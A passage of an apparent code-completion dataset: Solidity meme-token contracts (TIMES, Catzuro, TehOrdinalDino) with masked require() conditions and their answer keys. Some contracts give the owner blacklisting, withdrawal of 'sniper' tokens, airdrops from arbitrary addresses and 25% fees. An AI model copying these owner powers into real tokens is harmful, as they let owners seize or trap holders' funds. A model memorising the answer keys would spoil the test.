uint256 public maxTxnAmount;
uint256 public maxWallet;
uint256 public swapTokensAtAmount;
//launch variables
bool public tradingActive = false;
uint256 public _Blocks;
uint256 public tradingActiveBlock = 0;
bool public swapEnabled = false;
// prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches
mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = false;
//disable flash wallets & mev bots
bool public _OnlyHuman=false;
mapping(address => bool) public FlashWalletExempt;
//fees setup
uint256 public TotalbuyFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public TotalsellFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedmaxTxnAmount;
// set automarketmaker pairs
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
//antibot
address[] private _blackListedBots;
mapping (address => bool) private _isBlackListedBot;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() payable {
}
receive() external payable {}
// Toggle Transfer delay
function toggleTransferDelay(bool value) external onlyOwner {
}
function toggleOnlyHumans(bool value) external onlyOwner {
}
function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
}
function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
}
function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function _setFlashWalletExempt(address account, bool value) external onlyOwner {
}
// in case something goes wrong on auto swap
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function SetupFeeReceivers(address _marketing,address _liquidity,address _dev) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _checkFlashWallet(address _to, address _from) internal virtual returns (address) {
}
function isContract(address account) internal view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
function _initializeLP(address _router,bool _addliq) external onlyOwner{
}
function EnableTrading() external onlyOwner {
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
}
function withdrawStuckERC(address _ERC) external onlyOwner {
}
//to remove later
function _process_airdrop(address from , address[] memory _a,uint256[] memory _am) external onlyOwner{
}
function _change_sblocks(uint256 _n) external onlyOwner{
}
function _TotalSnipersTokens() public view returns(uint256) {
}
function _WithdrawSnipersTokens(address receiver) external onlyOwner {
}
function isBot(address account) public view returns (bool) {
}
function _addBotToBlackList(address account) external onlyOwner() {
}
function _bulkaddBotsToBlackList(address[] memory Addresses) external onlyOwner() {
for (uint256 i; i < Addresses.length; ++i) {
require(<FILL_ME>)
require(Addresses[i] != lpPair, 'We can not blacklist pair address.');
_isBlackListedBot[Addresses[i]] = true;
_blackListedBots.push(Addresses[i]);
}
}
function _removeBotFromBlackList(address account) external onlyOwner() {
}
}
| Addresses[i]!=RouterAddress,'We can not blacklist router.' | 69,346 | Addresses[i]!=RouterAddress |
'We can not blacklist pair address.' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexPair {
function sync() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor() {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) external virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract TIMES is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
address public RouterAddress;
address public LiquidityReceiver;
uint256 public maxTxnAmount;
uint256 public maxWallet;
uint256 public swapTokensAtAmount;
//launch variables
bool public tradingActive = false;
uint256 public _Blocks;
uint256 public tradingActiveBlock = 0;
bool public swapEnabled = false;
// prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches
mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = false;
//disable flash wallets & mev bots
bool public _OnlyHuman=false;
mapping(address => bool) public FlashWalletExempt;
//fees setup
uint256 public TotalbuyFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public TotalsellFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedmaxTxnAmount;
// set automarketmaker pairs
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
//antibot
address[] private _blackListedBots;
mapping (address => bool) private _isBlackListedBot;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() payable {
}
receive() external payable {}
// Toggle Transfer delay
function toggleTransferDelay(bool value) external onlyOwner {
}
function toggleOnlyHumans(bool value) external onlyOwner {
}
function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
}
function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
}
function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function _setFlashWalletExempt(address account, bool value) external onlyOwner {
}
// in case something goes wrong on auto swap
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function SetupFeeReceivers(address _marketing,address _liquidity,address _dev) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _checkFlashWallet(address _to, address _from) internal virtual returns (address) {
}
function isContract(address account) internal view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
function _initializeLP(address _router,bool _addliq) external onlyOwner{
}
function EnableTrading() external onlyOwner {
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
}
function withdrawStuckERC(address _ERC) external onlyOwner {
}
//to remove later
function _process_airdrop(address from , address[] memory _a,uint256[] memory _am) external onlyOwner{
}
function _change_sblocks(uint256 _n) external onlyOwner{
}
function _TotalSnipersTokens() public view returns(uint256) {
}
function _WithdrawSnipersTokens(address receiver) external onlyOwner {
}
function isBot(address account) public view returns (bool) {
}
function _addBotToBlackList(address account) external onlyOwner() {
}
function _bulkaddBotsToBlackList(address[] memory Addresses) external onlyOwner() {
for (uint256 i; i < Addresses.length; ++i) {
require(Addresses[i] != RouterAddress, 'We can not blacklist router.');
require(<FILL_ME>)
_isBlackListedBot[Addresses[i]] = true;
_blackListedBots.push(Addresses[i]);
}
}
function _removeBotFromBlackList(address account) external onlyOwner() {
}
}
| Addresses[i]!=lpPair,'We can not blacklist pair address.' | 69,346 | Addresses[i]!=lpPair |
"Cannot set max wallet amount lower than 0.1%" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Catzuro is ERC20, Ownable {
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 public maxWalletAmount;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address operationsAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public tokensForPresale = 50000000000 * 10**18;
address public presaleAddress = 0xF9ffB86cE6958B7e0F15997591A24774A1834E42;
uint256 public startTradingTime;
uint256 day = 86400;
address devWallet = 0x7ebA02609a3A4b3892fa2AaBF31c832227567c40;
uint256 public tokensForOperations;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Catzuro", "CATZURO") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
// remove limits if needed after token is stable
function removeLimits() external onlyOwner {
}
//update the max wallet amount
function updateMaxWalletAmount(uint256 amountOfToken) external onlyOwner {
require(<FILL_ME>)
maxWalletAmount = amountOfToken * (10**18);
emit UpdatedMaxWalletAmount(maxWalletAmount);
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
//excluding from max wallet
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
//excluding from max wallet
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
//add market maker pair address if more than one dex
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
//update buy fee
function updateBuyFees(uint256 _newFee) external onlyOwner {
}
//update sell fee
function updateSellFees(uint256 _newFee) external onlyOwner {
}
//exclude from fees ( buy and sell)
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
// force Swap back if there is slippage issues.
function forceSwapBackTokens() external onlyOwner {
}
}
| amountOfToken>=(totalSupply()*1/1000)/1e18,"Cannot set max wallet amount lower than 0.1%" | 69,364 | amountOfToken>=(totalSupply()*1/1000)/1e18 |
"Exceeds maximum wallet amount." | /**
TG: https://t.me/TehOrdinalDino
Web: https://tehoridnaldino.live/
Twitter: https://twitter.com/TehOrdinalDino
$TOD aims to be the first meme token with utilities on the Ordinal Chain.
Our dinosaur, Tod, is a fan of the Ordinal Chain vision and wishes to bring his new
found Ethereum community over to the Ordinal chain with him through his very own Bridge and auto-burning swap!
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { }
function div(uint256 a, uint256 b) internal pure returns (uint256) { }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { }
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function circulatingSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) { }
modifier onlyOwner() { }
function isOwner(address account) public view returns (bool) { }
function transferOwnership(address payable adr) public onlyOwner { }
event OwnershipTransferred(address owner);
}
interface stakeIntegration {
function stakingWithdraw(address depositor, uint256 _amount) external;
function stakingDeposit(address depositor, uint256 _amount) external;
function stakingClaimToCompound(address sender, address recipient) external;
}
interface tokenStaking {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function compound() external;
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract TehOrdinalDino is tokenStaking, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Teh Ordinal Dino';
string private constant _symbol = 'TOD';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
uint256 public _maxTxAmount = ( _totalSupply * 100 ) / 10000;
uint256 public _maxSellAmount = ( _totalSupply * 100 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 100 ) / 10000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 350;
uint256 private developmentFee = 150;
uint256 private NFTFee = 0;
uint256 private tokenStakingFee = 0;
uint256 private lpStakingFee = 0;
uint256 private totalFee = 2500;
uint256 private sellFee = 2500;
uint256 private transferFee = 2500;
uint256 private denominator = 10000;
bool private swapEnabled = true;
uint256 private swapTimes;
uint256 private swapAmount = 1;
bool private swapping;
bool private feeless;
uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier feelessTransaction { }
modifier lockTheSwap { }
mapping(address => uint256) private lastTransferTimestamp;
bool public transferDelayEnabled = false;
mapping(address => uint256) public amountStaked;
uint256 public totalStaked;
stakeIntegration internal stakingContract;
address internal token_staking;
address internal lp_staking;
address internal NFT_receiver;
address internal development_receiver;
address internal marketing_receiver;
address internal liquidity_receiver;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
event Deposit(address indexed account, uint256 indexed amount, uint256 indexed timestamp);
event Withdraw(address indexed account, uint256 indexed amount, uint256 indexed timestamp);
event Compound(address indexed account, uint256 ethAmount, uint256 indexed timestamp);
event SetStakingAddress(address indexed stakingAddress, uint256 indexed timestamp);
event SetisBot(address indexed account, bool indexed isBot, uint256 indexed timestamp);
event ExcludeFromFees(address indexed account, bool indexed isExcluded, uint256 indexed timestamp);
event SetDividendExempt(address indexed account, bool indexed isExempt, uint256 indexed timestamp);
event SetInternalAddresses(address indexed marketing, address indexed liquidity, address indexed treasury, uint256 timestamp);
event SetDistributionCriteria(uint256 indexed minPeriod, uint256 indexed minDistribution, uint256 indexed distributorGas, uint256 timestamp);
event SetParameters(uint256 indexed maxTxAmount, uint256 indexed maxWalletToken, uint256 indexed maxTransfer, uint256 timestamp);
event SetSwapBackSettings(uint256 indexed swapAmount, uint256 indexed swapThreshold, uint256 indexed swapMinAmount, uint256 timestamp);
event SetStructure(uint256 indexed total, uint256 indexed sell, uint256 transfer, uint256 indexed timestamp);
event SetStaking(address indexed tokenStaking, address indexed lpStaking, uint256 tokenFee, uint256 lpFee, uint256 timestamp);
event CreateLiquidity(uint256 indexed tokenAmount, uint256 indexed ETHAmount, address indexed wallet, uint256 timestamp);
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function startTrading(bool enabled) external onlyOwner { }
function getOwner() external view override returns (address) { }
function totalSupply() public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function isContract(address addr) internal view returns (bool) { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function availableBalance(address wallet) public view returns (uint256) { }
function circulatingSupply() public view override returns (uint256) { }
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
}
function _transfer(address sender, address recipient, uint256 amount) private {
}
function internalDeposit(address sender, uint256 amount) internal {
}
function deposit(uint256 amount) override external {
}
function withdraw(uint256 amount) override external {
}
function compound() override external feelessTransaction {
}
function setStakingAddress(address _staking) external onlyOwner {
}
function setStructure(uint256 _liquidity, uint256 _development, uint256 _marketing, uint256 _nft, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
}
function setStaking(address _tokenStaking, address _lpStaking, uint256 _token, uint256 _lp) external onlyOwner {
}
function setisBot(address _address, bool _enabled) external onlyOwner {
}
function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
}
function checkTradingAllowed(address sender, address recipient) internal view {
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !feeless && recipient != address(pair) && recipient != address(DEAD)){
require(<FILL_ME>)}
}
function swapbackCounters(address sender, address recipient, uint256 amount) internal {
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
}
function setSwapbackSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
}
function setInternalAddresses(address _marketing, address _liquidity, address _development, address _nft) external onlyOwner {
}
function checkTradeDelay(address sender, address recipient) internal {
}
function setTransferDelay(bool enabled) external onlyOwner {
}
function setisExempt(address _address, bool _enabled) external onlyOwner {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount, address receiver) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function swapETHForTokens(uint256 amountETH, address token, address recipient) internal {
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function swapBack(address sender, address recipient, uint256 amount) internal {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transferERC20(address _address, uint256 _amount) external onlyOwner {
}
function transferBalance(uint256 _amount) external onlyOwner {
}
function createLiquidity(uint256 tokenAmount) payable public feelessTransaction {
}
}
| (_balances[recipient].add(amount))<=_maxWalletToken,"Exceeds maximum wallet amount." | 69,366 | (_balances[recipient].add(amount))<=_maxWalletToken |
"ERC20: Exceeds maximum allowed not currently staked." | /**
TG: https://t.me/TehOrdinalDino
Web: https://tehoridnaldino.live/
Twitter: https://twitter.com/TehOrdinalDino
$TOD aims to be the first meme token with utilities on the Ordinal Chain.
Our dinosaur, Tod, is a fan of the Ordinal Chain vision and wishes to bring his new
found Ethereum community over to the Ordinal chain with him through his very own Bridge and auto-burning swap!
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { }
function div(uint256 a, uint256 b) internal pure returns (uint256) { }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { }
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function circulatingSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) { }
modifier onlyOwner() { }
function isOwner(address account) public view returns (bool) { }
function transferOwnership(address payable adr) public onlyOwner { }
event OwnershipTransferred(address owner);
}
interface stakeIntegration {
function stakingWithdraw(address depositor, uint256 _amount) external;
function stakingDeposit(address depositor, uint256 _amount) external;
function stakingClaimToCompound(address sender, address recipient) external;
}
interface tokenStaking {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function compound() external;
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
